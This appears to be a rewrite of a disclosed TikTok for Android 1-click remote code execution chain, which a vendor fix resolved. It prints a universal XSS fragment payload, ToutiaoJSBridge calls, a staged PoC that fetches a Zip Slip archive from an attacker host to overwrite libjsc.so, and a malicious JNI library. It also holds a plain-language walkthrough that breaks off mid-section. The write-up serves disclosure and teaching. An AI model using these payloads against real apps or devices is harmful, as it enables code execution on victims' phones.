TikTok for Android 1-Click RCE
Multiple vulnerabilities in TikTok for Android, including a universal XSS in a WebView and a Zip Slip in an SDK update activity, could be chained to achieve remote code execution. An attacker could overwrite a native library and execute arbitrary code when the victim opens a crafted link.
Published on medium.com
Sayed Abdelhafiz
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
TikTok for Android ships a WebView that can be invoked by deep-link and by Inbox Messages. That WebView handles what the app calls falcon links: instead of fetching the page from the server on every use, it grabs the content from internal files to improve performance. The same WebView exposes a JavaScript bridge, ToutiaoJSBridge, with a set of functions including openSchema, which opens internal deep-links such as aweme://wiki. That deep-link in turn opens URLs inside AddWikiActivity, a separate WebView.
The researcher chained several bugs found across these components into remote code execution. The work took about 21 days; the final exploit itself was simple. TikTok fixed the issues and the researcher retested to confirm the resolution.
The bugs, as listed in the write-up:
- Universal XSS on the TikTok WebView
- Another XSS on
AddWikiActivity - Start arbitrary components
- Zip Slip in
TmaTestActivity - RCE
Setup
To make testing easier the researcher enabled the WebViewDebug module, which allows debugging the WebView from Chrome DevTools. The module is at https://github.com/feix760/WebViewDebugHook.
A Frida script was used to hook android.webkit.WebView.evaluateJavascript and observe exactly what string the app passed to it.
One precondition matters for the later stages: the mini-app split packages are not attached to the APK. They are downloaded after the first launch of the application by Google Play Core. The researcher notes they can be located with:
adb shell pm path {package_name}
Finding it
After a page finishes loading, the WebView runs a function for performance measuring purposes:
this.a.evaluateJavascript("JSON.stringify(window.performance.getEntriesByName(\'" + this.webviewURL + "\'))", v2);
The URL is concatenated straight into a JavaScript string that is then evaluated. The obvious idea is to inject an XSS payload into the URL to escape the function call and execute code.
The first attempt put the payload in the query string:
https://m.tiktok.com/falcon/?'),alert(1));//
It did not work. Hooking evaluateJavascript with Frida showed why: the string passed to the method was
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/?%27)%2Calert(1))%3B%2F%2F'))
The payload was being encoded because it sat in the query string segment. Moving the payload to the fragment segment, after #, avoids that encoding. The link
https://m.tiktok.com/falcon/#'),alert(1));//
fires the following line:
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),alert(1));//'))
That gives a universal XSS in the WebView. It is universal because the JavaScript is fired whenever the link contains something like m.tiktok.com/falcon/. For example, https://www.google.com/m.tiktok.com/falcon/ fires the XSS too.
Exploitation
Step 1: probe the WebView for useful capabilities
With the XSS in hand, the researcher dug into the WebView to see how far it could be pushed. The WebView supports the intent scheme, which lets a page build a custom intent and launch it as an activity. That is useful for reaching non-exported activities without touching the export setting, and it widens the testing scope. The write-up points to https://www.mbsd.jp/Whitepaper/IntentScheme.pdf for background on the scheme.
The first attempt executed this JavaScript to open com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity:
location = "intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;"
Nothing happened. Looking at the WebViewClient revealed the following check:
boolean v0_7 = v0_6 == null ? true : v0_6.hasClickInTimeInterval();if((v8.i) && !v0_7) { v8.i = false; v4 = true;}else { v4 = v0_7;}
This restricts the intent scheme so that it only takes effect if the user has just clicked somewhere. That turns the technique into a two-click exploit, which the researcher did not want, so it was noted and the digging continued.
ToutiaoJSBridge is a bridge implemented in the WebView with many functions. One of them, openSchema, opens internal deep-links. A deep-link called aweme://wiki opens URLs in the AddWikiActivity WebView.
Step 2: XSS in AddWikiActivity
AddWikiActivity validates URLs to make sure no blacklisted URL is opened in it, but the validation only covers the http and https schemes. The developers apparently assumed any other scheme is invalid and needs no validation:
if(!e.b(arg8)) { com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid."); return false;}public static boolean b(String arg1) { return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);}
Since the javascript scheme is not validated, it can be used to perform XSS in that WebView as well. The following call through the bridge produced <h1>PoC</h1> on the WebView:
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({ "__callback_id": "0", "func": "openSchema", "__msg_type": "callback", "params": { "schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false" }, "JSSDK": "1", "namespace": "host", "__iframe_url": "http://iframe.attacker.com/"}));
The schema parameter carries an aweme://wiki deep-link whose url is a javascript: URL.
Step 3: start arbitrary components
The AddWikiActivity WebView also supports the intent scheme, this time without any restriction, provided the disable_app_link parameter is set to false. Executing the following in AddWikiActivity invokes UserFavoritesActivity:
location.replace("intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;")
At this point any activity can be opened with any extras passed to it.
Step 4: Zip Slip in TmaTestActivity
The researcher found an activity called TmaTestActivity in a split package called split_df_miniapp.apk. TmaTestActivity was used to update the SDK by downloading a zip from the internet and extracting it.
The entry point parses the URI and reads the action query parameter:
Uri v5 = Uri.parse(Uri.decode(arg5.toString()));String v0 = v5.getQueryParameter("action");if(m.a(v0, "sdkUpdate")) { m.a(v5, "testUri"); this.updateJssdk(arg4, v5, arg6); return;}
Setting action to sdkUpdate invokes the update process:
private final void updateJssdk(Context arg5, Uri arg6, TmaTestCallback arg7) { String v0 = arg6.getQueryParameter("sdkUpdateVersion"); String v1 = arg6.getQueryParameter("sdkVersion"); String v6 = arg6.getQueryParameter("latestSDKUrl"); SharedPreferences.Editor v2 = BaseBundleDAO.getJsSdkSP(arg5).edit(); v2.putString("sdk_update_version", v0).apply(); v2.putString("sdk_version", v1).apply(); v2.putString("latest_sdk_url", v6).apply(); DownloadBaseBundleHandler v6_1 = new DownloadBaseBundleHandler(); BundleHandlerParam v0_1 = new BundleHandlerParam(); v6_1.setInitialParam(arg5, v0_1); ResolveDownloadHandler v5 = new ResolveDownloadHandler(); v6_1.setNextHandler(((BaseBundleHandler)v5)); SetCurrentProcessBundleVersionHandler v6_2 = new SetCurrentProcessBundleVersionHandler(); v5.setNextHandler(((BaseBundleHandler)v6_2));}
The method collects the SDK update information from the sdkUpdateVersion, sdkVersion and latestSDKUrl parameters, stores it in SharedPreferences, then builds a handler chain: DownloadBaseBundleHandler, followed by ResolveDownloadHandler, followed by SetCurrentProcessBundleVersionHandler.
DownloadBaseBundleHandler compares sdkUpdateVersion with the current version and skips the download if the current one is not older. Setting the value to 99.99.99 avoids that check and starts the download:
public BundleHandlerParam handle(Context arg14, BundleHandlerParam arg15) { ..... String v0 = BaseBundleManager.getInst().getSdkCurrentVersionStr(arg14); String v8 = BaseBundleDAO.getJsSdkSP(arg14).getString("sdk_update_version", ""); ..... if(AppbrandUtil.convertVersionStrToCode(v0) >= AppbrandUtil.convertVersionStrToCode(v8) && (BaseBundleManager.getInst().isRealBaseBundleReadyNow())) { InnerEventHelper.mpLibResult("mp_lib_validation_result", v0, v8, "no_update", "", -1L); v10.appendLog("no need update remote basebundle version"); arg15.isIgnoreTask = true; return arg15; } ..... this.startDownload(v9, v10, arg15, v0, v8); .....
In startDownload, the download path and the expected checksum are set:
v2.a = StorageUtil.getExternalCacheDir(AppbrandContext.getInst().getApplicationContext()).getPath();v2.b = this.getMd5FromUrl(arg16);
v2.a is the download path. It comes from the application context obtained through AppbrandContext, which must have an instance. The application did not initialise this instance all the time. The researcher's extended study of the application workflow paid off here: invoking the preloadMiniApp function through ToutiaoJSBridge was able to initialise the instance. Digging into every bridge function, even ones that did not look useful at first, turned out to matter.
v2.b is the MD5 of the downloaded file, taken from the filename itself:
private String getMd5FromUrl(String arg3) { return arg3.substring(arg3.lastIndexOf("_") + 1, arg3.lastIndexOf("."));}
So the filename must look like anything_{md5sum_of_file}.zip, because the checksum is compared with the file's MD5 after the download:
public void onDownloadSuccess(ad arg11) { super.onDownloadSuccess(arg11); File v11 = new File(this.val$tmaFileRequest.a, this.val$tmaFileRequest.b); long v6 = this.val$beginDownloadTime.getMillisAfterStart(); if(!v11.exists()) { this.val$baseBundleEvent.appendLog("remote basebundle download fail"); this.val$param.isLastTaskSuccess = false; this.val$baseBundleEvent.appendLog("remote basebundle not exist"); InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6); } else if(this.val$tmaFileRequest.b.equals(CharacterUtils.md5Hex(v11))) { this.val$baseBundleEvent.appendLog("remote basebundle download success, md5 verify success"); this.val$param.isLastTaskSuccess = true; this.val$param.targetZipFile = v11; InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "success", "", v6); } else { this.val$baseBundleEvent.appendLog("remote basebundle md5 not equals"); InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6); this.val$param.isLastTaskSuccess = false; }
After the download finishes, the file is passed to ResolveDownloadHandler, which unzips it:
public BundleHandlerParam handle(Context arg13, BundleHandlerParam arg14) { BaseBundleEvent v0 = arg14.baseBundleEvent; if((arg14.isLastTaskSuccess) && arg14.targetZipFile != null && (arg14.targetZipFile.exists())) { arg14.bundleVersion = BaseBundleFileManager.unZipFileToBundle(arg13, arg14.targetZipFile, "download_bundle", false, v0);public static long unZipFileToBundle(Context arg8, File arg9, String arg10, boolean arg11, BaseBundleEvent arg12) { long v10; boolean v4; Class v0 = BaseBundleFileManager.class; synchronized(v0) { boolean v1 = arg9.exists(); } if(!v1) { return 0L; } try { File v1_1 = BaseBundleFileManager.getBundleFolderFile(arg8, arg10); arg12.appendLog("start unzip" + arg10); BaseBundleFileManager.tryUnzipBaseBundle(arg12, arg10, v1_1.getAbsolutePath(), arg9);private static void tryUnzipBaseBundle(BaseBundleEvent arg2, String arg3, String arg4, File arg5) { try { arg2.appendLog("unzip" + arg3); IOUtils.unZipFolder(arg5.getAbsolutePath(), arg4); } ......}public static void unZipFolder(String arg1, String arg2) throws Exception { IOUtils.a(new FileInputStream(arg1), arg2, false);}private static void a(InputStream arg5, String arg6, boolean arg7) throws Exception { ZipInputStream v0 = new ZipInputStream(arg5); while(true) { label_2: ZipEntry v5 = v0.getNextEntry(); if(v5 == null) { break; } String v1 = v5.getName(); if((arg7) && !TextUtils.isEmpty(v1) && (v1.contains("../"))) { // Are you notice arg7? goto label_2; } if(v5.isDirectory()) { new File(arg6 + File.separator + v1.substring(0, v1.length() - 1)).mkdirs(); goto label_2; } File v5_1 = new File(arg6 + File.separator + v1); if(!v5_1.getParentFile().exists()) { v5_1.getParentFile().mkdirs(); } v5_1.createNewFile(); FileOutputStream v1_1 = new FileOutputStream(v5_1); byte[] v5_2 = new byte[0x400]; while(true) { int v3 = v0.read(v5_2); if(v3 == -1) { break; } v1_1.write(v5_2, 0, v3); v1_1.flush(); } v1_1.close(); } v0.close();}
The final unzip method does contain a path traversal check, but it only runs when arg7 is true. The call chain passes false, so the check never happens and Zip Slip is possible, allowing files to be overwritten.
Step 5: RCE
The researcher built a zip whose entry name traverses out of the extraction directory to overwrite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/[redacted]/arm64-v8a/libjsc.so. Listing the archive shows the entry:
dphoeniixx@MacBook-Pro Tiktok % 7z l [redacted].zip7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21p7zip Version 16.02 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,16 CPUs x64)Scanning the drive for archives:1 file, 1930 bytes (2 KiB)Listing archive: [redacted].zip--Path = [redacted].zipType = zipPhysical Size = 1930 Date Time Attr Size Compressed Name------------------- ----- ------------ ------------ ------------------------2020-11-26 04:08:29 ..... 5896 1496 ../../../../../../../../../data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/[redacted]/arm64-v8a/libjsc.so------------------- ----- ------------ ------------ ------------------------2020-11-26 04:08:29 5896 1496 1 files
Overwriting a native library with a malicious one executes the attacker's code, but not until the user relaunches the application. The researcher found a way to reload the library without a relaunch by launching the com.tt.miniapphost.placeholder.MiniappTabActivity0 activity.
The final PoC:
document.title = "Loading..";document.write("<h1>Loading..</h1>");if (document && window.name != "finished") { // the XSS will be fired multiple time before loading the page and after. this condition to make sure that the payload won't fire multiple time. window.name = "finished"; window.ToutiaoJSBridge.invokeMethod(JSON.stringify({ "__callback_id": "0", "func": "preloadMiniApp", "__msg_type": "callback", "params": { "mini_app_url": "https://microapp/" }, "JSSDK": "1", "namespace": "host", "__iframe_url": "http://d.c/" })); // initialize Mini App window.ToutiaoJSBridge.invokeMethod(JSON.stringify({ "__callback_id": "0", "func": "openSchema", "__msg_type": "callback", "params": { "schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%2F%2Fwww.google.com.eg%2F%3Faction%3DsdkUpdate%26latestSDKUrl%3Dhttp%3A%2F%2F{ATTACKER_HOST}%[redacted].zip%26sdkUpdateVersion%3D1.87.1.11%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapp.tmatest.TmaTestActivity%3Bpackage%3Dcom.zhiliaoapp.musically%3Baction%3Dandroid.intent.action.VIEW%3Bend%22)%3B%0A&noRedirect=false&title=First%20Stage&disable_app_link=false" }, "JSSDK": "1", "namespace": "host", "__iframe_url": "http://iframe.attacker.com/" })); // Download malicious zip file that will overwite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/[redacted]/arm64-v8a/libjsc.so setTimeout(function() { window.ToutiaoJSBridge.invokeMethod(JSON.stringify({ "__callback_id": "0", "func": "openSchema", "__msg_type": "callback", "params": { "schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapphost.placeholder.MiniappTabActivity0%3Bpackage%3Dcom.zhiliaoapp.musically%3BS.miniapp_url%3Dhttps%3Bend%22)%3B%0A&noRedirect=false&title=Second%20Stage&disable_app_link=false" }, "JSSDK": "1", "namespace": "host", "__iframe_url": "http://iframe.attacker.com/" })); // load the malicious library after overwrtting it. }, 5000);}
The payload runs in stages. A window.name guard stops it from firing more than once, since the XSS fires multiple times before and after the page loads. The first bridge call, preloadMiniApp, initialises the Mini App instance needed by the download path. The second call opens aweme://wiki with a javascript: URL that replaces the location with an intent to com.tt.miniapp.tmatest.TmaTestActivity, carrying action=sdkUpdate, latestSDKUrl pointing at the attacker-hosted zip, and sdkUpdateVersion=[redacted]. After a 5 second delay, the third call opens another intent, this time to com.tt.miniapphost.placeholder.MiniappTabActivity0, which loads the overwritten library.
The malicious library:
#include <jni.h>#include <string>#include <stdlib.h>JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) { system("id > /data/data/com.zhiliaoapp.musically/PoC"); return JNI_VERSION_1_6;}
JNI_OnLoad runs when the library is loaded and writes the output of id to a file in the app's data directory, demonstrating code execution in the app's context.
Root cause
Several independent mistakes combine into the chain:
- The performance-measuring code concatenates
webviewURLinto a JavaScript string that is passed toevaluateJavascript. Encoding in the query string happens to neutralise the first attempt, but the fragment is not encoded, so the string can be broken out of. AddWikiActivityvalidates onlyhttpandhttpsURLs, so ajavascript:URL passes validation and runs in the WebView.- The
intentscheme is blocked in the main WebView unless the user has just clicked, butAddWikiActivityallows it wheneverdisable_app_link=false, so arbitrary components can be started with arbitrary extras. TmaTestActivitydownloads a zip from a URL supplied in an intent extra and extracts it with a path traversal check that is disabled by thefalseargument passed down the call chain, allowing arbitrary file overwrite.- The overwritten file is a native library, and a placeholder activity reloads it without requiring an app relaunch.
Impact
An attacker who can get a victim to open a crafted link, or to receive it through Inbox Messages, can achieve remote code execution in the TikTok for Android app. The XSS is universal because any link containing m.tiktok.com/falcon/ triggers it, so the attacker does not need to control the m.tiktok.com host. The chain reaches non-exported activities and overwrites files in the app's private data directory. The native library payload only executes after the library is reloaded, which the final stage does through MiniappTabActivity0; without that step the user would have to relaunch the application.
Fix
TikTok Security implemented a fix and the researcher retested to confirm the resolution. The actions taken:
- The vulnerable XSS code has been deleted.
TmaTestActivityhas been deleted.- Restrictions were added to the
intentscheme so that an intent targeting the TikTok application is not allowed onAddWikiActivityand the mainWebViewActivity.
Variants to test
- Look for WebView code that concatenates a URL into
evaluateJavascriptor similar evaluation calls. A positive result is a fragment payload such as#'),alert(1));//appearing unencoded in the evaluated string when hooked with Frida. - Check URL allowlists that only test
startsWith("http")orstartsWith("https"). A positive result is ajavascript:URL reaching the WebView and executing. - Test whether the
intentscheme is reachable from any WebView, and whether any click-timing guard can be bypassed or avoided through a second WebView. A positive result is a non-exported activity opening from a page. - Look for activities that download and extract archives from intent-supplied URLs. A positive result is a zip entry containing
../being written outside the extraction directory. - Check whether native libraries loaded by the app can be overwritten in the app's data directory, and whether any activity reloads them without a relaunch. A positive result is attacker code running after the reload activity is started.
What happened, in plain words
TikTok for Android is a phone app. Inside it, some screens are not drawn by the app itself but by a small built-in web browser called a WebView. A WebView is the same kind of engine as Chrome or Firefox, but embedded inside another app so that the app can show web pages without leaving. When you tap a link in TikTok and a page opens inside the app rather than in your normal browser, you are looking at a WebView.
A researcher spent about 21 days looking at one of these WebViews in TikTok for Android. He found several separate mistakes, each small on its own, and worked out how to connect them like dominoes. The last domino gave him remote code execution: the ability to make the app run code of his choosing on the victim's phone. The final exploit was simple; getting there was not.
This article walks through the same chain, in the same order, but explains every idea from scratch. You only need to know how to use a browser and a computer to follow it.
Some background first
Before the bugs, a few words about the pieces involved.
Deep-link. A deep-link is a web address that opens a specific place inside an app instead of a web page. If you tap a link starting with https:// you go to a website; if you tap one starting with something like aweme://, Android looks for an app that has registered that prefix and opens it. It is like a shortcut on your desktop that points at one particular program and one particular file.
JavaScript bridge. A WebView can show web pages, but a web page normally cannot touch the phone's features (open other screens, read files, and so on). App developers therefore build a bridge: a set of named functions that the web page can call, and the app carries them out on the page's behalf. It is like a restaurant menu: the page orders by name, the app's kitchen does the work. In TikTok the bridge is called ToutiaoJSBridge, and one of its functions is openSchema, which opens internal deep-links.
XSS (cross-site scripting). XSS means getting your own JavaScript to run inside a page or WebView that you are not supposed to control. JavaScript is the programming language that web pages run in your browser. If a site takes some text from you and pastes it into a page without cleaning it, you can paste JavaScript instead of plain text, and the browser will run it as if the site itself had written it. A simple everyday comparison: a form asks for your name and prints "Hello, <your name>"; if you type <script>...</script> as your name and the site prints it raw, the browser runs your script.
Universal XSS. Ordinary XSS lives on one website. Universal XSS means the same flaw can be triggered from anywhere, because the vulnerable code only checks that the address contains a certain piece of text, not that the address actually belongs to the site. If any link containing that text triggers it, an attacker can host the link on their own domain.
Intent. In Android, an intent is a message that asks the system to do something, usually "open this screen (activity) and give it this data". Screens can be marked exported (other apps may open them) or non-exported (only the app itself may open them). The intent: scheme lets a web page build such a message and hand it to Android. It is a way for a web page to press buttons inside the app.
Activity. An activity is one screen of an Android app, for example the favourites screen or a settings page. Each has a long internal name such as com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity.
Zip Slip. A zip file is an archive, a box containing files. Each file inside has a name, and the name can contain ../, which in a file path means "go up one folder". If a program unzips a file without checking the names, an entry called ../../secret.txt is written outside the folder where the archive was supposed to be unpacked, potentially overwriting any file the app can write. That is Zip Slip.
Native library. Some parts of an Android app are not written in Java but compiled machine code, stored in files ending .so (for example libjsc.so). The app loads them into memory and runs them. If you can replace such a file with your own, your code runs inside the app the next time the library is loaded.
MD5. MD5 is a checksum: a short fingerprint computed from a file's contents. If the file changes by even one byte, the fingerprint changes. Apps use it to check that a download arrived intact.
Frida. Frida is a tool used by security researchers to watch and change what a running app does, for example to see the exact text passed to a function. It is like putting a transparent window on a machine so you can watch the gears turn.
adb. Android Debug Bridge, a command-line tool that lets a computer talk to an Android phone or emulator.
The setup
To make testing easier, the researcher enabled a module called WebViewDebug, which lets him inspect the app's WebView from Chrome DevTools (the developer panel built into Chrome). The module is at https://github.com/feix760/WebViewDebugHook.
He also used a Frida script to hook android.webkit.WebView.evaluateJavascript. That is the Android function a WebView uses to run a piece of JavaScript text. Hooking it means intercepting the call and printing exactly what string the app handed over, so he could see what the app was really doing rather than guess.
One precondition matters for the later stages. TikTok's mini-app code is not all inside the installed APK (the app package). Some of it lives in split packages, extra pieces downloaded by Google Play Core after the app is first launched. The researcher notes they can be located with:
adb shell pm path {package_name}
Line by line: adb is the Android Debug Bridge, the tool that lets a computer send commands to a phone. shell says "run the rest as a command on the phone". pm is the package manager, Android's tool for managing installed apps. path asks it where the files of a given package live. {package_name} is a placeholder for the app's package name, for example com.zhiliaoapp.musically. The command prints the location of the app's files on the phone, which is how the researcher found the split package containing the activity used later.
Finding the first bug
After a page finishes loading, the WebView runs a function for performance measuring purposes:
this.a.evaluateJavascript("JSON.stringify(window.performance.getEntriesByName(\'" + this.webviewURL + "\'))", v2);
Line by line: this.a is the WebView object. .evaluateJavascript(...) tells it to run the JavaScript text given as the first argument. That text is built by gluing three pieces together with +: a fixed opening JSON.stringify(window.performance.getEntriesByName(', then this.webviewURL (the address of the page being loaded), then a fixed closing ')). JSON.stringify turns a value into text; window.performance.getEntriesByName(...) is a browser function that returns timing information for a named resource. The second argument, v2, is a callback, a function to call with the result.
The important part is that the page's own address is pasted straight into a piece of JavaScript that is then run. If the address contains a quote character, the quote ends the string early and whatever follows is treated as code. That is the classic shape of an XSS: user-controlled text placed inside code without cleaning.
The obvious idea is to put a JavaScript payload into the URL so that it breaks out of the function call and runs. The first attempt put the payload in the query string, the part of a URL after ?:
https://m.tiktok.com/falcon/?'),alert(1));//
Reading it: the address is https://m.tiktok.com/falcon/, then ? starts the query string, and the query string is '),alert(1));//. The ' would close the string, ) would close the function call, ,alert(1) would add a call to alert(1) (a JavaScript pop-up), )) would close the remaining brackets, and // would comment out the rest of the line so the leftover characters do not cause a syntax error. If it worked, a pop-up would appear.
It did not work. Hooking evaluateJavascript with Frida showed why. The string actually passed to the method was:
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/?%27)%2Calert(1))%3B%2F%2F'))
Line by line: the payload is still there, but the dangerous characters have been replaced by percent-encoded forms. %27 is an encoded ', %2C is an encoded ,, %3B is an encoded ;, %2F is an encoded /. Percent-encoding is how URLs carry characters that would otherwise be special; a browser or app decodes them back when it needs the real value. Because the payload sat in the query string, it was encoded before being pasted into the JavaScript, so the quote never appeared as a quote and the string was never broken out of.
The fix for the attacker is to move the payload to the fragment, the part of a URL after #. The fragment is not encoded the same way, so the characters arrive as typed. The link
https://m.tiktok.com/falcon/#'),alert(1));//
fires the following line:
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),alert(1));//'))
Line by line: the opening JSON.stringify(window.performance.getEntriesByName(' is unchanged. Then comes the URL up to #, then the payload ' closes the string, ) closes the function call, ,alert(1) adds a call to alert(1), )) closes the outer brackets, and // comments out the trailing ')) that the app appended. The browser now runs alert(1) as code. That is the XSS.
It is universal because the JavaScript fires whenever the link contains something like m.tiktok.com/falcon/. For example, https://www.google.com/m.tiktok.com/falcon/ fires the XSS too, even though the real host is www.google.com. The check is a substring match, not a check that the address really belongs to TikTok, so an attacker can host the link on any domain they like.
Digging further
With the XSS in hand, the researcher dug into the WebView to see how far it could be pushed. The WebView supports the intent scheme, which lets a page build a custom intent and launch it as an activity. That is useful for reaching non-exported activities without touching the export setting, and it widens the testing scope. The write-up points to https://www.mbsd.jp/Whitepaper/IntentScheme.pdf for background on the scheme.
The first attempt executed this JavaScript to open com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity:
location = "intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;"
Line by line: location = ... tells the WebView to navigate to the given address. The address starts with intent:, which tells Android this is not a web page but an intent description. #Intent; begins the description. component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity names the exact screen to open: the app package com.zhiliaoapp.musically and the activity com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity. package=com.zhiliaoapp.musically says which app the intent is meant for. action=android.intent.action.VIEW is the standard "show this to the user" action. end; closes the description.
Nothing happened. Looking at the WebViewClient (the part of the app that decides what to do when a WebView tries to navigate) revealed the following check:
boolean v0_7 = v0_6 == null ? true : v0_6.hasClickInTimeInterval();if((v8.i) && !v0_7) { v8.i = false; v4 = true;}else { v4 = v0_7;}
Line by line: boolean v0_7 = v0_6 == null ? true : v0_6.hasClickInTimeInterval(); sets a true/false value. If v0_6 is null (no click tracker exists), the value is true; otherwise it asks the tracker hasClickInTimeInterval(), which answers "has the user clicked recently?". The ? : is Java's shorthand for if/else. Then if((v8.i) && !v0_7) checks whether some flag v8.i is set and the user has not clicked recently. If so, it clears the flag and sets v4 = true. Otherwise it copies the click result into v4. The effect is that the intent scheme only takes effect if the user has just clicked somewhere. That turns the technique into a two-click exploit: the victim would have to click once to satisfy the check and then the intent would work. The researcher did not want that, so he noted it and continued digging.
ToutiaoJSBridge is a bridge implemented in the WebView with many functions. One of them, openSchema, opens internal deep-links. A deep-link called aweme://wiki opens URLs in the AddWikiActivity WebView. In other words, the bridge gives a way to open a second WebView, and that second WebView is where the next bug lives.
The second bug: XSS in AddWikiActivity
AddWikiActivity validates URLs to make sure no blacklisted URL is opened in it, but the validation only covers the http and https schemes. The developers apparently assumed any other scheme is invalid and needs no validation:
if(!e.b(arg8)) { com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid."); return false;}public static boolean b(String arg1) { return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);}
Line by line: the first block calls e.b(arg8), a helper that answers "is this URL acceptable?". If it returns false, the code logs needBuildSecLink : url is invalid. and returns false, meaning the URL is rejected. The helper b itself returns true only if three things hold: the string is not empty (!TextUtils.isEmpty(arg1)), it starts with http or https (arg1.startsWith("http") || arg1.startsWith("https")), and it is not on the blacklist (!e.a(arg1)). Notice what is missing: there is no check for the javascript scheme. The validation only covers the http and https schemes, so the javascript scheme is not validated and can be used to run code in that WebView.
The following call through the bridge produced <h1>PoC</h1> on the WebView:
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({ "__callback_id": "0", "func": "openSchema", "__msg_type": "callback", "params": { "schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false" }, "JSSDK": "1", "namespace": "host", "__iframe_url": "http://iframe.attacker.com/"}));
Line by line: window.ToutiaoJSBridge.invokeMethod(...) calls the bridge's generic "run a named function" method. The argument is JSON.stringify({...}), a JavaScript object turned into text, because the bridge expects a string. Inside the object: __callback_id is an identifier the bridge uses to match the reply to the request; func is the name of the bridge function to run, here openSchema; __msg_type says this is a callback-style call; params holds the arguments for that function. Inside params, schema is the deep-link to open: aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false. Reading that deep-link: aweme://wiki is the wiki screen, ?url= starts its parameter, and the value is a javascript: URL. %250a is double-encoded: %25 decodes to %, so %250a becomes %0a, which is a newline character. document.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22) is document.write("<h1>PoC</h1>") with the quotes and angle brackets percent-encoded; document.write writes text into the page. &disable_app_link=false is a second parameter that the next step needs. Back in the outer object, JSSDK is a version marker, namespace says which bridge namespace to use, and __iframe_url is the address the bridge associates with the call.
The result was that <h1>PoC</h1> appeared on the WebView: the javascript: URL ran, and its document.write put a heading on the page. That is the second XSS, this time in AddWikiActivity.
The third bug: start arbitrary components
The AddWikiActivity WebView also supports the intent scheme, this time without any restriction, provided the disable_app_link parameter is set to false. That is the parameter seen at the end of the previous payload. Executing the following in AddWikiActivity invokes UserFavoritesActivity:
location.replace("intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;")
Line by line: location.replace(...) navigates the WebView to a new address, replacing the current page in the history. The address is the same intent: description as before: open the UserFavoritesActivity screen of the com.zhiliaoapp.musically package with the standard VIEW action. The difference from the first attempt is that this WebView has no click-timing guard, so the intent fires immediately.
At this point any activity can be opened with any extras passed to it. Extras are the data fields attached to an intent, like the fields of a form. That is the key that unlocks the next stage: the researcher can now reach a screen that was never meant to be reachable from a web page.
The fourth bug: Zip Slip in TmaTestActivity
The researcher found an activity called TmaTestActivity in a split package called split_df_miniapp.apk. Remember the split packages: they are downloaded after first launch, not shipped in the APK. TmaTestActivity was used to update the SDK by downloading a zip from the internet and extracting it. An SDK is a bundle of code that the app uses; updating it means replacing that bundle with a newer one.
The entry point parses the URI and reads the action query parameter:
Uri v5 = Uri.parse(Uri.decode(arg5.toString()));String v0 = v5.getQueryParameter("action");if(m.a(v0, "sdkUpdate")) { m.a(v5, "testUri"); this.updateJssdk(arg4, v5, arg6); return;}
Line by line: Uri.parse(Uri.decode(arg5.toString())) takes the incoming address, decodes any percent-encoding, and parses it into a Uri object, which is Java's way of representing a URL with its parts separated. v5.getQueryParameter("action") reads the value of the action parameter from the query string. if(m.a(v0, "sdkUpdate")) checks whether that value equals sdkUpdate. If it does, the code logs the URI and calls this.updateJssdk(arg4, v5, arg6), then returns. So the attacker controls which branch runs simply by putting action=sdkUpdate in the address.
Setting action to sdkUpdate invokes the update process:
